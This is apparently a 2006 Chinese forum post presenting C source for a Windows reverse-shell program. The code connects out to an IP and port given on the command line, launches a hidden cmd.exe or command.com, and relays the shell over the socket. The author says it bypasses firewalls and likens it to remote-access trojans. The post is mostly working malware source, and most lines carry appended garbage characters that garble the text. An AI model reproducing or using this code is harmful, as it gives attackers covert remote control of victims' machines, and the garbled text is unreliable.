Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 B`t/21J  
&4+|{Zx0  
/* ============================== GXIzAB(  
Rebound port in Windows NT Qwt0~9n(  
By wind,2006/7 ^_i)XdPU  
===============================*/ 0w:
3/WO  
#include OR*JWW[]  
#include vcsSi%M\U  
hv?T}E  
#pragma comment(lib,"wsock32.lib") [& Z- *a  
PO8Z2"WI  
void OutputShell(); -EE'xh-zD  
SOCKET sClient; E#_2t)20  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h_{f_GQ"  
Q"B8l[  
void main(int argc,char **argv) Kc95yt  
{ \|9B:y'y  
WSADATA stWsaData; @0s' (  
int nRet; iCA-X\E  
SOCKADDR_IN stSaiClient,stSaiServer; `^,E4Qy  
j7MUA#6$  
if(argc != 3) s9a`2Wm  
{ cc*?4C/t  
printf("Useage:\n\rRebound DestIP DestPort\n"); qJ(uak  
return; p^*a>d:d]  
} Y
,GlAr s4  
&6C]|13;  
WSAStartup(MAKEWORD(2,2),&stWsaData); Z5n-3h!+ED  
xs\<!  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); < K
!r\
^  
e"wzb< b  
stSaiClient.sin_family = AF_INET; ;"u,G!  
stSaiClient.sin_port = htons(0); k(pJVez  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); pi~5}bF!a  
R6BbkYWrX  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) dQ7ii
eT  
{ f|M^UHt8*  
printf("Bind Socket Failed!\n"); @'}2xw[eU  
return; 7Y[ q)lv  
} 4K'U}W  
l^ay*H  
stSaiServer.sin_family = AF_INET; oJ %Nt&q  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); i9zh X1#  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $*G3'G2'iS  
yNXYS  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) o-Dfud@  
{ u&1M(~Ub=  
printf("Connect Error!"); 2,q*8=?{6P  
return; }=)u_q  
} 8^+|I,  
OutputShell(); MymsDdQ]  
} -k7b# +T  
Ewp2 1  
void OutputShell() uP%VL}%0  
{ e-P{)L<s5  
char szBuff[1024]; gEsD7]o(=  
SECURITY_ATTRIBUTES stSecurityAttributes; X!LiekU!D  
OSVERSIONINFO stOsversionInfo; >QvqH 2  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; L!l?tM o  
STARTUPINFO stStartupInfo; Yg '(  
char *szShell; B=K<k+{6"  
PROCESS_INFORMATION stProcessInformation; ^|.T\  
unsigned long lBytesRead; 'l<$H=ZUVG  
VnSO>O  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); YToG'#qs  
~&p]kmwXSX  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5I6?gv/  
stSecurityAttributes.lpSecurityDescriptor = 0; qjkWCLOd  
stSecurityAttributes.bInheritHandle = TRUE; r9u'+$vmF  
]~dB|WB  
-M6vg4gf  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 0'r}]Mws  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);  dnC"`  
:KvZP:T  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ef{Hj[
8  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vb0Ca+}}  
stStartupInfo.wShowWindow = SW_HIDE; 3{co.+  
stStartupInfo.hStdInput = hReadPipe; ag:<%\2c  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; j -o  
~h8k4eM  
GetVersionEx(&stOsversionInfo); {@7UfJh>  
6zU0 8z0-  
switch(stOsversionInfo.dwPlatformId) ;:[P/eg  
{ 2BOH8Mp9  
case 1: UV;I6]$}A7  
szShell = "command.com"; W3\+51P  
break; `k
I}p  
default: teDRX13=;  
szShell = "cmd.exe"; ~!TrC<ft  
break; n~`jUML2d  
} -M]/Xv]  
2ALYfZ|d  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Lp$&eROFVs  
w\d1  
send(sClient,szMsg,77,0); MJe/ \  
while(1) ?P7QAolrr  
{ B\AyG4J  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); SP2";,%/9  
if(lBytesRead) j/uMSE  
{ U/U_q-z]  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [C 7X#|  
send(sClient,szBuff,lBytesRead,0); _%rkN0-(a  
} QxEmuiN  
else js)E:+{A,  
{ 9Y# vKb{>  
lBytesRead=recv(sClient,szBuff,1024,0); Us&~d"n  
if(lBytesRead<=0) break; YL;*%XmAG  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 25xt*30M  
} bsc b
 
} !C' Y 7  
f]Z9=  
return; b7M)  
}